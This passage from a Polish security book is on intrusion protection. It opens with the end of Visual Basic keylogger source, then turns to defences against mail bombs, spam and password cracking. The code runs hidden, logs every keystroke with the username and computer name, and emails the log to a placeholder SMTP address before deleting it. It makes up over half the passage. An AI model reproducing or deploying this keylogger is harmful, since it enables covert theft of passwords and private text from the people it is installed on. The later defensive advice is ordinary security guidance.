keystate = Getasynckeystate(vbKeyV) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "V" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "v" 
End If 
 
keystate = Getasynckeystate(vbKeyW) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "W" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "w" 
End If 
 
keystate = Getasynckeystate(vbKeyX) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "X" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "x" 
End If 
 
keystate = Getasynckeystate(vbKeyY) 

background image

 
182 

Hack Wars. Tom 2. Na tropie hakerów 

182 

 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "Y" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "y" 
End If 
 
keystate = Getasynckeystate(vbKeyZ) 

If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "Z" 
End If 

If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) 

Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = 
&H1) Then 

Text1 = Text1 + "z" 
End If 
 
keystate = Getasynckeystate(vbKey1) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "1" 
      End If 
       
      If Shift <> 0 And (keystate And &H1) = &H1 Then 
Text1 = Text1 + "!" 
End If 
 
 
keystate = Getasynckeystate(vbKey2) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "2" 
      End If 
       
      If Shift <> 0 And (keystate And &H1) = &H1 Then 
Text1 = Text1 + "@" 
End If 
 
 
keystate = Getasynckeystate(vbKey3) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "3" 
      End If 
       
      If Shift <> 0 And (keystate And &H1) = &H1 Then 
Text1 = Text1 + "#" 
End If 
 
 
keystate = Getasynckeystate(vbKey4) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "4" 
      End If 
 
If Shift <> 0 And (keystate And &H1) = &H1 Then 
Text1 = Text1 + "$" 
End If 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

183 

 

183

 

 
 
keystate = Getasynckeystate(vbKey5) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "5" 
      End If 
       
      If Shift <> 0 And (keystate And &H1) = &H1 Then 
Text1 = Text1 + "%" 
End If 
 
 
keystate = Getasynckeystate(vbKey6) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "6" 
      End If 
       
      If Shift <> 0 And (keystate And &H1) = &H1 Then 
Text1 = Text1 + "^" 
End If 
 
 
keystate = Getasynckeystate(vbKey7) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "7" 
     End If 
      
     If Shift <> 0 And (keystate And &H1) = &H1 Then 
Text1 = Text1 + "&" 
End If 
 
    
   keystate = Getasynckeystate(vbKey8) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "8" 
     End If 
      
     If Shift <> 0 And (keystate And &H1) = &H1 Then 
Text1 = Text1 + "*" 
End If 
 
    
   keystate = Getasynckeystate(vbKey9) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "9" 
     End If 
      
     If Shift <> 0 And (keystate And &H1) = &H1 Then 
Text1 = Text1 + "(" 
End If 
 
    
   keystate = Getasynckeystate(vbKey0) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "0" 
     End If 
      
     If Shift <> 0 And (keystate And &H1) = &H1 Then 
Text1 = Text1 + ")" 
End If 
 

background image

 
184 

Hack Wars. Tom 2. Na tropie hakerów 

184 

 

    
   keystate = Getasynckeystate(vbKeyBack) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{bkspc}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyTab) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{tab}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyReturn) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + vbCrLf 
     End If 
    
   keystate = Getasynckeystate(vbKeyShift) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{shift}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyControl) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{ctrl}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyMenu) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{alt}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyPause) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{pause}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyEscape) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{esc}" 
     End If 
    
   keystate = Getasynckeystate(vbKeySpace) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + " " 
     End If 
    
   keystate = Getasynckeystate(vbKeyEnd) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{end}" 
     End If 

      keystate = Getasynckeystate(vbKeyHome) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{home}" 
     End If 
 
keystate = Getasynckeystate(vbKeyLeft) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{left}" 
     End If 
 
keystate = Getasynckeystate(vbKeyRight) 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

185 

 

185

 

If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{right}" 
     End If 
 
keystate = Getasynckeystate(vbKeyUp) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{up}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyDown) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{down}" 
     End If 
 
keystate = Getasynckeystate(vbKeyInsert) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{insert}" 
     End If 
 
keystate = Getasynckeystate(vbKeyDelete) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{Delete}" 
     End If 
 
keystate = Getasynckeystate(&HBA) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + ";" 
     End If 
      
     If Shift <> 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + ":" 
      End If 
      
keystate = Getasynckeystate(&HBB) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "=" 
     End If 
      
     If Shift <> 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "+" 
     End If 
 
keystate = Getasynckeystate(&HBC) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "," 
     End If 
      
     If Shift <> 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "<" 
     End If 
 
keystate = Getasynckeystate(&HBD) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "-" 
     End If 
 
If Shift <> 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "_" 
     End If 
 
keystate = Getasynckeystate(&HBE) 

background image

 
186 

Hack Wars. Tom 2. Na tropie hakerów 

186 

 

If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "." 
     End If 

If Shift <> 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + ">" 
     End If 
 
keystate = Getasynckeystate(&HBF) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "/" 
     End If 
      
     If Shift <> 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "?" 
     End If 
 
keystate = Getasynckeystate(&HC0) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "'" 
     End If 
      
     If Shift <> 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "~" 
     End If 
 
keystate = Getasynckeystate(&HDB) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "[" 
     End If 
      
     If Shift <> 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{" 
     End If 
 
keystate = Getasynckeystate(&HDC) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "\" 
     End If 
      
     If Shift <> 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "|" 
     End If 
 
keystate = Getasynckeystate(&HDD) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "]" 
     End If 
      
     If Shift <> 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "}" 
     End If 
 
keystate = Getasynckeystate(&HDE) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "'" 
     End If 
      
     If Shift <> 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + Chr$(34) 
     End If 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

187 

 

187

 

keystate = Getasynckeystate(vbKeyMultiply) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "*" 
     End If 
 
keystate = Getasynckeystate(vbKeyDivide) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "/" 
     End If 
 
keystate = Getasynckeystate(vbKeyAdd) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "+" 
     End If 
    
keystate = Getasynckeystate(vbKeySubtract) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "-" 
     End If 
    
keystate = Getasynckeystate(vbKeyDecimal) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{Del}" 
     End If 
      
   keystate = Getasynckeystate(vbKeyF1) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{F1}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyF2) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{F2}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyF3) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{F3}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyF4) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{F4}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyF5) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{F5}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyF6) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{F6}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyF7) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{F7}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyF8) 

background image

 
188 

Hack Wars. Tom 2. Na tropie hakerów 

188 

 

If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{F8}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyF9) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{F9}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyF10) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{F10}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyF11) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{F11}" 
     End If 
    
   keystate = Getasynckeystate(vbKeyF12) 
If Shift = 0 And (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{F12}" 
     End If 
      
If Shift <> 0 And (keystate And &H1) = &H1 Then 
   Form1.Visible = True 
     End If 
          
    keystate = Getasynckeystate(vbKeyNumlock) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{NumLock}" 
     End If 
      
     keystate = Getasynckeystate(vbKeyScrollLock) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{ScrollLock}" 
         End If 

       keystate = Getasynckeystate(vbKeyPrint) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{PrintScreen}" 
         End If 
        
       keystate = Getasynckeystate(vbKeyPageUp) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{PageUp}" 
         End If 
        
       keystate = Getasynckeystate(vbKeyPageDown) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "{Pagedown}" 
         End If 

 

         keystate = Getasynckeystate(vbKeyNumpad1) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "1" 
         End If 
          
         keystate = Getasynckeystate(vbKeyNumpad2) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "2" 
         End If 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

189 

 

189

 

          
         keystate = Getasynckeystate(vbKeyNumpad3) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "3" 
         End If 
          
         keystate = Getasynckeystate(vbKeyNumpad4) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "4" 
         End If 
          
         keystate = Getasynckeystate(vbKeyNumpad5) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "5" 
         End If 
          
         keystate = Getasynckeystate(vbKeyNumpad6) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "6" 
         End If 
         

 

         keystate = Getasynckeystate(vbKeyNumpad7) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "7" 
         End If 
         

 

         keystate = Getasynckeystate(vbKeyNumpad8) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "8" 
         End If 
          
         keystate = Getasynckeystate(vbKeyNumpad9) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "9" 
         End If 

                  keystate = Getasynckeystate(vbKeyNumpad0) 
If (keystate And &H1) = &H1 Then 
  Text1 = Text1 + "0" 
         End If 
          
End Sub 

 

Private Sub Timer2_Timer() 
Dim lfilesize As Long, txtlog As String, success As Integer 
Dim from As String, name As String 
Open logfile For Append As #1 
Write #1, Text1 
Close #1 
Text1.Text = "" 
lfilesize = FileLen(logfile) 
If lfilesize >= 4000 Then 
Text2 = "" 
inform 
Open logfile For Input As #1 
While Not EOF(1) 
Input #1, txtlog 
DoEvents 
Text2 = Text2 & vbCrLf & txtlog 
Wend 
Close #1 
txtstatus = "" 
    Call StartWinsock("") 

background image

 
190 

Hack Wars. Tom 2. Na tropie hakerów 

190 

 

success = smtp("mail.smtpserver.net", "25", 

"ktos@serwer_poczty.com", "ktos@serwer_poczty.com", "log file", 
"Tigerlog",  
"ktos@serwer_poczty.com", "l o g f i l e", Text2) 

'wysyła zawarto

ść

 dziennika do ktos@serwer_poczty.com 

If success = 1 Then 
Kill logfile 
End If 
    Call closesocket(mysock) 
End If 
End Sub 

 

Public Sub FormOntop(FormName As Form) 
    Call SetWindowPos(FormName.hWnd, HWND_TOPMOST, 0&, 0&, 0&, 0&, 

flags) 

End Sub 

 

Function GetCaption(WindowHandle As Long) As String 

    Dim Buffer As String, TextLength As Long 

    TextLength& = GetWindowTextLength(WindowHandle&) 

    Buffer$ = String(TextLength&, 0&) 

    Call GetWindowText(WindowHandle&, Buffer$, TextLength& + 1) 

    GetCaption$ = Buffer$ 
End Function 

 

Sub inform() 
    Dim szUser As String * 255 
    Dim vers As String * 255 
    Dim lang, lReturn, comp As Long 
    Dim s, x As Long 
    lReturn = GetUserName(szUser, 255) 
    comp = GetComputerName(vers, 1024) 
    Text2 = "Username- " & szUser 
    Text2 = Text2 & vbCrLf & "Computer Name- " & vers 

End Sub 

 

 

Pokazane w tym rozdziale programy i towarzyszące pliki modułów są dostępne na dołą-
czonym do tej ksiąŜki CD-ROM-ie. 

Ochrona przed bombardowaniem poczty 
i spamowaniem 

Poczta  elektroniczna  stała  się  w  ostatnich  latach  gwiazdą  komunikacji  technologicz-
nej zarówno w sektorze prywatnym, jak i korporacyjnym. Z tą popularnością jest jed-
nak związany fakt, iŜ im więcej ludzi korzysta z e-maila, tym więcej ofiar róŜnorod-
nych  ataków  hakerów.  Stanie  się  ofiarą  bomby  pocztowej  lub  spamu  stało  się 
praktycznie  rytuałem  inicjacyjnym  wszystkich  uŜytkowników  poczty.  Na  szczęście 
istnieją  środki  zaradcze  zapobiegające  zarówno  niewinnym,  jak  i  bardzo  złośliwym 
atakom. W tej części przyjrzymy się dokładnie róŜnym zabezpieczeniom — od technik 
zespołu Tiger Team do ochrony serwera. Zaczniemy jednak od dokładnego sklasyfiko-
wania bomby pocztowej i spamu. 









 

Bomby pocztowe to wiadomości elektroniczne, które są zwykle uŜywane 
do zablokowania skrzynki pocztowej odbiorcy przez wysłanie niepoŜądanej 
poczty przy uŜyciu bramy SMTP odbiorcy. Bomby pocztowe mogą przybrać 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

191 

 

191

 

formę jednego e-maila z ogromnym załącznikiem lub tysięcy wiadomości 
elektronicznych, które mają na celu przepełnienie skrzynki pocztowej i serwera. 









 

Spamowanie to próba doręczenia wiadomości elektronicznej do osoby, która 
nie chciała jej otrzymać i nie prosiła o jej dostarczenie. Najbardziej typowym 
przykładem jest rozsyłanie reklam. Inną formą spamu jest oszustwo, kiedy to 
napastnik podaje w polu From (Od) wiadomości adres pocztowy innej osoby, 
a następnie wysyła masowo e-maile, prosząc o odpowiedź na adres ofiary. 
Takie oszustwo moŜe przybrać jeszcze bardziej zaawansowaną formę, gdy 
haker wyśle takie fałszywe wiadomości przy uŜyciu serwera pocztowego ofiary. 

Z perspektywy uŜytkownika najlepiej widocznym świadectwem spamu są nagłówki wia-
domości, które zawierają rzeczywistą trasę e-maila od nadawcy do odbiorcy (patrz rysu-
nek 2.9). Domyślnie te informacje są zwykle ukryte; większość odbiorców chce widzieć 
tylko temat i treść wiadomości. Praktycznie wszystkie programy pocztowe oferują jednak 
opcję podglądu pełnych nagłówków wiadomości, co pokazano na rysunku 2.10. 

Rysunek 2.9.  
Widoczne 
w nagłówkach  
e-maila informacje 
o trasie wiadomo
ści 

 

 

 

Rysunek 2.10.  
Wybór opcji 
pokazuj
ącej pełne 
nagłówki wiadomo
ści 
w programach 
pocztowych Pegasus 
i Microsoft Outlook 

 

 

Ś

ledząc  autoryzowaną  i  poŜądaną  pocztę,  moŜemy  szybko  odfiltrować  wiadomości, 

które są prawdopodobnie spamem lub oszustwem. Dla przykładu przyjrzyjmy się na-

background image

 
192 

Hack Wars. Tom 2. Na tropie hakerów 

192 

 

główkom pokazanym na rysunku 2.9 — ta wiadomość moŜe być zweryfikowana ja-
ko poŜądana, poniewaŜ dane wskazują, iŜ adresy sender@saddress.com i receiver@ 
raddress.com
  zostały  uwierzytelnione  i  przekazane  przez  serwery  poczty  smtp.local–
domain.com
 i smtp-1.saddress.com. Przyjmijmy jednak, iŜ nadawca sender@saddress. 
com
 rozsyła spam lub niepoŜądane wiadomości. MoŜliwe jest szybkie odfiltrowanie tego 
adresu przy uŜyciu filtrów dostępnych w większości obecnych programów pocztowych 
(patrz  rysunek  2.11).  Niektóre  z  nich,  a  w  szczególności  te  wykorzystujące  frontony 
WWW,  oferują  automatyczną  funkcję  blokowania  prostym  kliknięciem.  Przykładem  są 
opcje  Yahoo  (mail.yahoo.com)  pokazane  na  rysunku  2.12.  Na  witrynach  TuCows 
(www.tucows.com) i C|Net (download.cnet.com) znajdziemy wiele programów antyspa-
mowych, gotowych do pobrania, które są zgodne z wieloma platformami. 

JednakŜe zablokowanie spamera moŜe nie wystarczyć. Być moŜe zdecydujesz się na 
całkowite zatrzymanie jego działań,  wysłając informację do jego dostawcy usług in-
ternetowych.  Zbadanie  nagłówków  i  zawartości  wiadomości  moŜe  dostarczyć  infor-
macji, jak tego dokonać. Dla przykładu wykonanie funkcji Whois przez odpowiednią 
stronę  internetową  lub  prześledzenie  trasy  do  bramy  SMTP  spamera  moŜe  pomóc 
w zebraniu  informacji  o  dostawcy  Internetu.  Uzbrojeni  w  kopię  takiej  wiadomości 
oraz zebrane informacje o dostawcy moŜemy zgłosić incydent. PoniŜsza lista interne-
towych usług pomoŜe Ci w trakcie krucjaty przeciwko spamerom: 

IDENTYFIKACJA SPAMERA: 

http://www.anywho.com 
http://www.yellowpages.com 
http://www.555-1212.com 
http://www.databaseamerica.com 
http://www.infospace.com/info/reverse.htm 
http://www.theultimates.com/white 
http://inter800.com 
http://canada411.sympatico.ca 
http://www.phonenumbers.net 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

193 

 

193

 

Rysunek 2.11.  
Zastosowanie filtra 
do zablokowania 
spamera w programie 
Pegasus 

 

 

 

 

Rysunek 2.12.  
Wiele klientów poczty 
wykorzystuj
ących 
przegl
ądarki ma 
proste mechanizmy 
blokowania przez 
wskazanie i klikni
ęcie 

 

Ś

LEDZENIE SPAMERA: 

http://samspade.org 
http://www.thegrid.net/jabberwock/spam 
http://combat.uxn.com 
http://Network-Tools.com 
http://www.domainwatch.com 
http://www.rwhois.net 
http://www.networksolutions.com 
http://net.yahoo.com/cgi-bin/trace.sh 
http://www.tsc.com/bobp-bin/traceroute 
http://www.multitrace.com 
http://www.va.pubnix.com/bin/tc 

ZGŁASZANIE INCYDENTU: 

http://www.abuse.net 
http://spamcom.net
 

background image

 
194 

Hack Wars. Tom 2. Na tropie hakerów 

194 

 

ZASOBY: 

Grupy dyskusyjne USENET: 

news.admin.net-abuse.bulletins 
news.admin.net-abuse.email 
news.admin.net-abuse.misc 
news.admin.net-abuse.policy 
news.admin.net-abuse.sightings 
news.admin.net-abuse.usenet 
pl.news.mordplik 

W  przypadku  serwera  zalecana  jest  modyfikacja  kontaktowych  skrzynek  pocztowych, 
których  adresy  znajdują  się  na  witrynie  WWW,  polegająca  na  utworzeniu  ogólnych 
kont  dla  niepoŜądanej  poczty.  MoŜe  to  spowodować  redukcję  spamu  otrzymywanego 
przez  wewnętrznych  uŜytkowników  za  pomocą  odfiltrowania  wiadomości  z  publicz-
nych skrzynek pocztowych.  Ale ochrona przed  niepoŜądaną  pocztą i  spamem to tylko 
początek. Na szczęście większość obecnych demonów serwerów poczty zawiera funk-
cję ochrony przed bombami pocztowymi. Szczegóły dotyczące odpowiedniej konfi-
guracji  moŜna  znaleźć  w  podręczniku  uŜytkownika  programu.  Te  informacje  będą 
obejmowały aspekty konfiguracji wymienione niŜej. 









 

Uwierzytelnianie — demon powinien być skonfigurowany na akceptację 
tylko lokalnej lub wewnętrznej poczty do przekazywania poczty SMTP. 









 

Blokowanie — zaawansowane filtrowanie umoŜliwia podanie wiadomości, 
które mają być zablokowane dla kont; demon powinien pozwalać 
uŜytkownikom na podanie róŜnych kryteriów dla wiadomości. 









 

Sprawdzanie — demon powinien być skonfigurowany na akceptację 
załączników o ograniczonej wielkości. 









 

Sortowanie — uŜytkownicy powinni mieć moŜliwość podania zasad 
sortowania swojej poczty; dla przykładu wiadomości z domeny firmy 
powinny być przesyłane do słuŜbowej skrzynki pocztowej. 

Jednym  z  narzędzi,  zaprojektowanych  przede  wszystkim  do  usuwania  bomb  poczto-
wych  z  serwera,  jest  BombSquad  (patrz  rysunek  2.13).  To  narzędzie  umoŜliwia 
usuwanie bomb pocztowych, odczytując i zapisując waŜne wiadomości. MoŜna je wy-
korzystać w skrzynkach pocztowych obsługujących standardowy protokół POP3. Wię-
cej informacji na temat tych środków zabezpieczających moŜna znaleźć w biuletynie in-
formacyjnym CIAC na stronie http://ciac.llnl.gov/ciac/ 

Ochrona przed łamaniem haseł 

Większość  programów  dla  uŜytkowników,  aplikacji  udostępniających  dane  uŜytkowni-
kom i paneli administracyjnych udostępnia jakąś formę uwierzytelniania przy uŜyciu ha-
sła, a wiele z  nich zawiera takŜe uŜyteczne procedury  szyfrowania. W pierwszym tomie 
tej ksiąŜki zbadaliśmy typowy schemat hasła systemu operacyjnego. Dla przypomnienia,  

 

background image

 
Rozdział 2. 

 Mechanizmy ochrony przed włamaniami 

195 

 

195

 

Rysunek 2.13.  
Rozbrajanie bomb 
pocztowych przy 
u
Ŝyciu narzędzia 
BombSquad 

 

 

kiedy hasło zostanie wprowadzone, jądro uwierzytelniania komputera szyfruje je i doko-
nuje translacji do ciągu znaków, a następnie porównuje je z listą, która jest po prostu prze-
chowywanym  w  komputerze  plikiem  z  hasłami.  Jeśli  moduł  uwierzytelniania  znajdzie 
identyczny ciąg znaków, umoŜliwia dostęp do systemu. Hakerzy, którzy chcą się włamać 
do systemu i uzyskać konkretny typ dostępu, zwykle biorą sobie za cel ten plik z hasłami. 
Jeśli uda się im uzyskać pewien poziom dostępu, mogą zdobyć kopię takiego pliku, a na-
stępnie  uŜyć  programu  do  łamania  haseł  w  celu  translacji  zawartych  w  pliku  znaków 
z powrotem do oryginalnych haseł! 

ChociaŜ  zastosowanie  środków  ochronnych  przed  złamaniem  haseł  jest  relatywnie 
mało skomplikowane, jest to jednak jeden ze sposobów zabezpieczeń, o których naj-
częściej się zapomina. Konieczne jest podjęcie niezbędnych kroków w celu ustawie-
nia odpowiednich zabezpieczeń (przy uŜyciu technik poznanych w tej ksiąŜce i z in-
nych  źródeł),  a  następnie  włączenia  haseł  wygaszaczy  ekranów  i  programów  oraz 
mechanizmów  obronnych  systemu  operacyjnego  i  plików  (przechowywanie  hasel 
systemowych  w  odrębnej  bazie  —  password  shadowing  —  i  szyfrowanie  DES  lub 
Blowfish).  Przy  uŜyciu  narzędzi,  takich  jak  L0phtCrack  (www.l0pht.com),  moŜesz 
upewnić się, czy hasła kont nie są zbyt proste do odgadnięcia lub złamania przez ha-
kerów. Regularna kontrola plików haseł moŜe pomóc w odnalezieniu prostych haseł; 
pamiętaj, Ŝe Twój system jest tylko tak bezpieczny, jak jego najsłabsze ogniwo. Pro-
gramy do łamania haseł, takie jak L0phtCrack, są łatwo dostępne i proste  w  uŜyciu, 
co pokazano na rysunku 2.14. 

 

 

Pierwszy  tom  tej  ksiąŜki  zawiera  duŜą  liczbę  narzędzi  do  łamania  haseł  i  liczne  pliki 
słowników. 

Prawdopodobnie  bezpiecznie  moŜna  przyjąć,  iŜ  większość  czytelników  nie  musi  two-
rzyć  niemoŜliwego  do  złamania  programu  z  ogromnym  szyfrowaniem.  NaleŜy  jednak 
pamiętać, Ŝe hasła są tak bezpieczne, jak to zostanie ustawione. Jeśli Twój pies ma na 
imię Reks i wiedzą o tym nawet osoby, które znasz bardzo słabo, nie uŜywaj tej nazwy 
jako  hasła.  Nie  zapominaj,  Ŝe  istnieją  programy  badające  schematy  uwierzytelniania 
przy uŜyciu nazw praktycznie wszystkich obiektów oŜywionych i nieoŜywionych. 

background image

 
196 

Hack Wars. Tom 2. Na tropie hakerów 

196 

 

Rysunek 2.14.  
Okresowe 
monitorowanie 
plików haseł przy 
u
Ŝyciu narzędzi 
do łamania haseł 
typu L0phtCrack 
mo
Ŝe zredukować 
liczb
ę osób 
próbuj
ących 
włama
ć się 
do systemu 

 

 

Oczywiście  przede  wszystkim  naleŜy  dokonać  implementacji  trudnego  do  złamania 
mechanizmu  szyfrowania.  Istnieją  doskonałe  narzędzia  komercyjne,  darmowe  i  sha-
reware do szyfrowania zawartości plików  i  wiadomości e-mailowych.  Aby odnaleźć 
program  odpowiedni  dla  Ciebie,  uŜyj  jakiejś  popularnej  wyszukiwarki,  na  przykład 
Yahoo (www.yahoo.com), Google (www.google.com) lub Wirtualna Polska (www.wp.pl), 
a takŜe odwiedź witrynę z oprogramowaniem — wspominaliśmy juŜ wcześniej o Tu-
Cows (www.tucows.com) i C|Net (download.cnet.com). 

Kolejną fazą ochrony przed złamaniem hasła jest zastosowanie własnego schematu ha-
sła, który charakteryzuje się jedną podstawową zasadą — nigdy nie uŜywaj prawdzi-
wego
 słowa jako całości lub części nazwy uŜytkownika i  hasła.  Zamiast tego naleŜy 
korzystać ze znaków o róŜnej wielkości (małych i duŜych liter) wraz z cyframi i znakami 
specjalnymi  (w  zaleŜności  od  tego,  jakie  znaki  specjalne  są  obsługiwane).  Kolejna 
ogólna zasada nakazuje uŜycie co najmniej ośmiu znaków dla kaŜdej nazwy uŜytkownika 
i hasła. Przykładem dobrej kombinacji jest nazwa J16vNj30 i hasło dg101Ko5. 

Posiadanie wielu nazw logowania i haseł jest kolejną skuteczną formą zabezpieczania 
haseł,  choć  sprawia  to  jeden  podstawowy  problem  —  jak  zapamiętać  te  wszystkie 
dziwne nazwy i hasła? Oczywiście nie naleŜy ich zapisywać nigdzie, poniewaŜ mijało-
by  się  to  z  celem.  Rozwiązaniem  moŜe  być  zastosowanie  programu,  takiego  jak  Tiger-
Crypt
, w celu bezpiecznego przechowywania, odczytu i generowania haseł. 

TigerCrypt uŜywa 128-bitowego szyfrowania  w celu zapewnienia bezpieczeństwa i pry-
